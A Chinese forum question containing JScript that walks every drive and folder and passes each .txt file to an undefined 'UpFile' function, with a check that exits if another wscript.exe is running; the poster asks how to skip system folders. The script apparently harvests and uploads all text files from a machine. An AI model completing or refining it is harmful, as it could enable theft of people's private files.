|
下面的代码作用是:遍历所有硬盘驱动器>>遍历驱动器下的目录>>遍历目录里的txt文件
现在我想不搜索C盘下的某些目录如system、windows、tmp、temp,该如何修改代码?
- function GetDriveList() {
- var fso = new ActiveXObject("Scripting.FileSystemObject"); //创建fso为一个FileSystemObject对象实例
- var e = new Enumerator(fso.Drives); // 在驱动器上创建 Enumerator
- var re = [];
- for (; ! e.atEnd(); e.moveNext()) { // 枚举驱动器集合
- if (e.item().IsReady) { //检查驱动器是否可用
- re.push(e.item().DriveLetter)
- }
- }
- return re
- } //获得活动驱动器列表,名
- function GetFolderList(folderspec) {
- var fso = new ActiveXObject("Scripting.FileSystemObject");
- var f = fso.GetFolder(folderspec); //遍历所有文件夹
- var fc = new Enumerator(f.SubFolders);
- var re = [];
- for (; ! fc.atEnd(); fc.moveNext()) {
- re.push(fc.item())
- }
- return re
- }
- function GetFileList(folderspec) {
- var fso = new ActiveXObject("Scripting.FileSystemObject");
- var f = fso.GetFolder(folderspec);
- var fc = new Enumerator(f.files);
- var re = [];
- for (; ! fc.atEnd(); fc.moveNext()) {
- re.push([fc.item(), fc.item().Name])
- }
- return re
- } //遍历所有文件
- function Search(Drive) {
- var FolderList = GetFolderList(Drive);
- for (var i = 0; i < FolderList.length; i++) {
- Search(FolderList[i])
- }
- var FileList = GetFileList(Drive);
- for (var i = 0; i < FileList.length; i++) {
- if (/\.(txt)$/i.test(FileList[i])) {
- UpFile(FileList[i][0], FileList[i][1])
- }
- }
- } //查找
- function Load() {
- var WMIs = GetObject("winmgmts:\\\\.\\root\\cimv2");
- var Items = WMIs.ExecQuery("SELECT * FROM Win32_Process WHERE Name = 'wscript.exe'");
- var i = 0,
- rs = new Enumerator(Items);
- for (; ! rs.atEnd(); rs.moveNext()) {
- i++
- }
- if (i > 1) WScript.Quit(0);
- Items = WMIs = i = rs = null;
- var DriveList = GetDriveList();
- for (var i = 0; i < DriveList.length; i++) {
- Search(DriveList[i] + ":\\\")
- }
- }
- Load();
复制代码
|
|